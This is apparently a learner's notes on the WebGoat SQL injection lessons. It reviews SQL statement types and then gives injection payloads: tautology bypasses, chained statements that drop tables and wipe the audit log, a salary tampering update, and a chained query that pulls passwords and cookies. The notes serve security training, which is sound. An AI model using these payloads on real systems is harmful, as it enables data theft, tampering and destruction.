A1：SQL Injection 1

Introduction

一、SQL语言

Data Manipulation Language (DML)

常用数据操作语言：

SELECT -- retrieve data from a database

INSERT -- insert data into a table

UPDATE -- updates existing data within a table

DELETE -- Delete all records from a database table

-- Example:Retrieve data:

SELECT column
FROM table_name
WHERE condition;

-- Example:Update data:
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

Data Definition Language (DDL)

常用数据定义语言：

CREATE -- to create a database and its objects like (table, views, …)

ALTER -- alters the structure of the existing database

DROP -- delete objects from the database


/*
ALTER TABLE table_name
ADD column_name datatype
如需删除表中的列，请使用下面的语法（请注意，某些数据库系统不允许这种在数据库表中删除列的方式）：

ALTER TABLE table_name
DROP COLUMN column_name
要改变表中列的数据类型，请使用下面的语法：

SQL Server / MS Access：

ALTER TABLE table_name
ALTER COLUMN column_name datatype
*/

--Example:

CREATE TABLE employees(
    userid varchar(6) not null primary key,
    first_name varchar(20),
    last_name varchar(20),
    department varchar(20),
    salary varchar(10),
    auth_tan varchar(6)
);

Data Control Language (DCL)

常用数据控制语言

GRANT -- sql allow users access privileges to the database

REVOKE -- withdraw users access privileges given by using the GRANT command

--Example:

GRANT CREATE TABLE
TO operator;

二、SQL注入

1.正常查询

"SELECT * FROM users WHERE name = '" + userName + "'";

"SELECT * FROM users WHERE name = 'Smith'";

2.简单注入

Here are some examples of what a hacker could supply to the input field to perform actions on the database that go further than just reading the data of a single user:

Smith’ OR '1' = '1
results in SELECT * FROM users WHERE name = 'Smith' OR TRUE; and that way will return all entries from the users table

Smith’ OR 1 = 1; --
results in SELECT * FROM users WHERE name = 'Smith' OR TRUE;--'; and that way will return all entries from the users table

Smith’; DROP TABLE users; TRUNCATE audit_log; --
chains multiple SQL-Commands and deletes the USERS table as well as entries from the audit_log

1.string SQL injection

2.Numeric SQL injection

3.Compromising confidentiality with String SQL injection

4.Compromising Integrity with Query chaining

Employee Name：1

Authentication TAN: 1’;update employees set salary=87000 where last_name=‘Smith’;–

5.Compromising Availability

Action contains：Smith‘；drop table access_log;–

advanced

1.Special Characters

/* */ 	 are inline comments
-- , # 	 are line comments

Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'

;        allows query chaining

Example: SELECT * FROM users; DROP TABLE users;

',+,||	 allows string concatenation    字符串拼接 '
Char()	 strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

2.Special Statements

1.Union 并

The Union operator is used, to combine the results of two or more SELECT Statements.

Rules to keep in mind, when working with a UNION:

The number of columns selected in each statement must be the same.

The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …) SELECT Statement. The Same applies to all other columns.

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

The UNION ALL Syntax also allows duplicate Values.

2.Joins 交

The Join operator is used to combine rows from two ore more tables, based on a related column

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

assignment on p3

解决方案1：

使用UNION运算：需要注意前后两条语句中查询的列的数目和每一列的数据类型一样。

解决方案2：

直接用“；”新增一条语句：

Name：1’or 1=1;select userid,user_name,password,cookie from user_system_data;–

Password：1’ or 1=1;–